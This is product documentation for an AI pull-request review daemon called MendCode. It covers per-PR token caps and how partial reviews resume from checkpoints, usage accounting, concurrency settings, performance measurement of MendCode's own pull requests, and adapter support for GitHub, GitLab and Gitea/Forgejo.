The cap a review actually gets scales with its diff: min(tokens_per_pr, 150,000 + tokens_per_diff_token x diff tokens), so a one-commit review cannot spend a whole-PR allowance. It is enforced inside a model turn too: a turn whose reported tokens reach what is left of the review pass's share (80%) or of the verify budget is cancelled, and the review ends as incomplete ("stopped at the token budget") with its checkpoint, instead of finishing the turn first; the review then closes as a partial one. A personal config can only lower tokens_per_diff_token.

Before each call of the review pass (each part of a large diff) the reviewer checks that the rest of the diff fits what the pass has left. Before the first call the floor is the diff's own size; after some parts, the rest is projected at what those parts really counted per diff token (a diff of numbers, such as JSON results, counts far more than its size suggests). A diff that cannot fit is never sent ("Nothing was sent to a model"), and a rest that cannot fit stops before the next part instead of paying for it. Both are budget stops with their checkpoint: raise tokens_per_pr and retry, and the review continues from the parts it has.

A review that reaches the cap

A review never ends without a result. When it reaches the cap, or the rest of the diff cannot fit under it, it makes one compact closing check and publishes what it verified as a partial review:

  • The closing check is one verify call over the strongest candidate findings it already has (the most severe first, at most 8). It reads the findings and the lines they cite, never the diff again, and never reviews another part. It has its own small limit, 30,000 counted tokens on top of the cap (a turn is stopped after the request that passes it, so a little more can be counted); it is the only spending past tokens_per_pr. A closing that fails still closes: the candidates it could not judge are counted.
  • Nothing unverified is published as a finding. The review says how many candidates were found but not verified.
  • The post is headed ## MendCode partial review and says first that it is partial: which files were reviewed and which were not, why (the cap, with the figures), and how to get the rest. It carries no head marker, so it is not a review of that head for the dedupe, for another reviewer's stand-down or for a hosted runner's state.
  • The job stays checkpointed with the parts not reviewed and the candidates not verified. /pr review <n> (or @mendcode review) continues that same job from its checkpoint: only the missing parts are reviewed, candidates already verified are not judged again, and findings already posted are not posted twice. The continuation counts its own spending under the same cap, so it gets a fresh allowance; if it reaches the cap again it closes as a partial review again, with more covered. When it completes, the review is posted whole and the head counts as reviewed.
  • /pr review <n> full drops the checkpoint and reviews the whole diff again; raising budget.tokens_per_pr lets a continuation finish in one go. A continuation that cannot review even one more part under the cap makes no progress, says so and posts nothing new. A review with no internal cap (tokens_per_pr: null) is never stopped by it.
  • A stop by the provider's quota or a rate limit is not this: it waits or stops as before, and nothing is published until it resumes.

When the first pass says it could not review the change (a restriction on its tools or mode, files it could not read: the incomplete key of its answer, or a summary that says "the review is incomplete" with no findings), the review ends there as incomplete, with no verification, nothing published and a notice that says so. A caveat is not that: when the pass returned findings, or a walkthrough of a change whose data files readers summarized, its incomplete text (summaries instead of data, no shell to run tests) becomes a "Reviewer's note" in the summary and the review goes on to verify and publishes. The review prompt tells the pass its tools read and search only and that summarized files are a complete way to review. A defect the first pass named that verification ruled out is listed in the summary as ruled out, never as a finding.

Keep the limits separate

Limit Scope
budget.tokens_per_pr MendCode's own cap per PR head, across review, verify, fix and resumed rounds; null is no internal cap.
budget.context_tokens One call, not a total.
Provider's real quota The provider's allowance.
Rate limit The provider's request limit.
Fix-loop limits The loop limits of the fix loop.

Counted tokens are input not served from the provider's cache plus output; cached tokens are shown apart, never converted. At the cap a review stops resumably with its candidates kept (never dropped, never published as a complete review), and a resume verifies only those candidates, with no second review pass. A real quota waits for the reset the provider names (on_quota: wait, within max_wait_minutes) or stops (on_quota: stop); a rate limit backs off a few times. There is no third option: no other model, provider, API key or paid usage. Accounting (<dir>/pr-review/accounting.json) keeps every call's reported input, output and cache figures per PR head, purpose and attempt, across restarts; a call with no report is counted as unknown, never as zero.

Account for interrupted calls

A call that does not end normally is still accounted, with only what the source reported. A turn that fails, is cancelled or is stopped as stalled keeps the usage its engine reported before it ended (a Claude Code turn cut short reports its partial usage) and counts as one call without a full report (unreported). A call the daemon was running when it was killed is kept in the file while it runs (open); the next start accounts each one left as unreported on its PR head and job, plus what its child session recorded beyond the calls already counted for it. Claude Code reports usage at the end of a turn, so a turn killed with the daemon usually stays unknown: it is shown as a call without a report, never as an estimate.

Concurrency

Set prReview.concurrency with settings.set to choose how many reviews or @mendcode commands this device runs at once across every watched repository: 1 to 4, default 2.

This is a per-device setting, not a review.yaml key. The watch's queue is daemon-wide, so the value is this machine's capacity; repository config applies per review, and one repository cannot set another's limit.

  • A config bundle never carries this machine setting to another device.
  • A remote or peer client cannot set it.
  • A change applies to the next start, without a restart.

The background job scheduler shared with Dream, loops and workflows also caps how many run: 2 in normal mode, 4 in high. Values above 2 take effect only there.

/pr watch-repo list, the pr_review status and the /reviews page show the value: "running N of M at once".

Performance of MendCode's own pull requests

When the repository under review is MendCode itself (the checkout's root package is mendcode and holds scripts/perf-attrib.ts), the daemon measures the pull request before the model pass: it runs bun scripts/perf-attrib.ts --base <merge base> --cand <head> --markdown as a separate subprocess (the review model stays read-only and builds nothing), on the offline faux engine, so it uses no model and no login. The table goes into the review's details and to the model as input, so a finding can cite its numbers; the only model cost is the table's text. A review checkout without installed dependencies gets them from the lockfile first (bun install --frozen-lockfile, as the script does for each build) and loses them again afterwards; a run that still fails is reported by its error line.

  • A total that rose (a process's footprint, CPU in a phase, or the bytes a session stores; the script exits 1) adds a critical performance finding on the first changed line of the code that can change cost. It is a rise only when the head's median of five alternating base/head sessions is above the measured noise, outside the base's own min..max and above a floor (footprint 3 MB, disk per session 1 KB, CPU 15% or 150 ms, whichever is larger), so one outlier sample never flags. A rise whose listed causes (heap bytes by constructor, native regions, stored tables) are less than a tenth of it, or a CPU rise with a few KB of cause and the same start-up modules, is a nota ("possible noise"), never a finding. The finding is "confirmed" only when a second measurement of the same pair (builds cached, sessions only) rises too; one that did not reproduce is dropped and said so in the details, and one whose second measurement could not finish is a minor, plausible finding that does not block. An incremental review measures its own increment (the last reviewed head against this head), not the whole pull request again, except while a measured rise is open (that measurement resolves it). Within the noise is no difference. On a later head no model re-checks that finding: the new measurement decides, and a head measured without a rise resolves it.
  • An inner count that rose while no total did (JS heap objects, protected objects, heap bytes, JIT code, the binary's size) is a nota: it shows in the table and the model may cite it, but it is never a finding on its own.
  • Without a table, the model is told so and reports a major finding when the change adds start-up, per-turn or per-frame work, a timer, a stored row or column, a dependency or an embedded asset and the pull request gives no before/after numbers.
  • It runs only when the diff touches code, manifests or build scripts (apps/, packages/, features/, package.json, the lockfile, scripts/build*); a diff of docs, tests and fixtures alone is skipped. A head in a fork is never built; the review says so.
  • It never blocks or fails a review. A timeout (20 minutes), a failed build or a missing bun leaves a note in the review: "Performance was not measured: ".
  • Built binaries are cached per full commit id, platform and arch in <data dir>/pr-review/perf/cache: the newest two (a base and a head) are kept, anything older than three days or left half-written is removed after every run, and scratch directories are deleted at the end.
  • prReview.perfAttrib: false (settings.set, on when unset) turns the phase off. Other repositories are never measured.

Providers

The daemon picks the forge from the checkout's origin:

Host Adapter and login
github.com gh, as described above.
gitlab.com, or a host whose name contains gitlab GitLab's adapter: glab api, with glab's own login (glab auth login, or GITLAB_TOKEN read by glab).
codeberg.org, or a host whose name contains gitea or forgejo Gitea / Forgejo adapter: REST /api/v1, token read from GITEA_TOKEN at each call, never stored.

For a self-hosted instance on another host:

  1. Name the forge in the checkout with git config mendcode.forge gitlab (or gitea).
  2. For an ssh remote or another web port or scheme, set git config mendcode.forgeUrl http://host:port.

MendCode never reads, prints or stores a forge token itself.

On GitLab and Gitea the daemon runs the watch (the adapter lists the open PRs or MRs each poll; comments are read only on a PR updated since the last read), reviews and their posts (one summary note or review plus inline comments, with the same head and reviewer markers, so a head is never posted twice), the @mendcode commands with the same write-access rule (the adapter's permission read), claims (one edited comment), and @mendcode fix pushes to the PR's branch, or a fork's when the PR allows maintainer edits. What a forge lacks is said once in the /pr watch-repo answer, never skipped silently:

Daemon feature GitHub GitLab Gitea / Forgejo
Watch, review post, dedupe of a head, @mendcode commands, claims, fix push yes yes yes
Resolve a fixed finding's thread yes yes no: Forgejo has no API for it, and the adapter does not tell Gitea from Forgejo
Explain a failing check after a review yes no: no pipeline reader is wired no: no Gitea Actions reader is wired
Hosted runner (mendcode github run) yes no: it is a GitHub Action no: it is a GitHub Action

Not read on GitLab or Gitea: linked issues. A personal reviewer's profile is kept under the github provider directory on every forge.

What each adapter really does (the platform never imitates a missing capability):

Capability GitHub GitLab Gitea / Forgejo
Inline comments on diff lines yes yes yes
Suggested-change blocks yes yes no
Resolve a thread when fixed yes yes no
One review object with an event (COMMENT) yes no yes
Requested reviewers yes yes yes
Labels yes yes yes
Draft state yes yes yes
Push to a fork's branch when allowed yes yes yes
Conditional list requests (ETag) yes no no
Verified contract (fixtures, not live) live live

The GitHub row is the new adapter's; the daemon's own GitHub path is the one this page describes above and has been used live. GitLab and Gitea are live because MENDCODE_LIVE_FORGES=write bun scripts/live-forges.ts --forge gitlab|gitea --daemon passed against local GitLab CE 19.5.3 and Gitea 28.2.0 on 127.0.0.1 (2026-10-30): the daemon itself, with scripted review children and no model, watched the repository, posted one review with an inline comment and a released claim for a new PR, posted nothing more for the same head after two polls and a manual /pr review, refused a reader's @mendcode pause in the PR, and pushed and answered a writer's @mendcode fix. Not run live at daemon level: a reply inside a diff thread, thread resolution, a push to a fork, and Forgejo itself; those rest on the adapters' live checks (scripts/live-forges.ts without --daemon) and contract tests.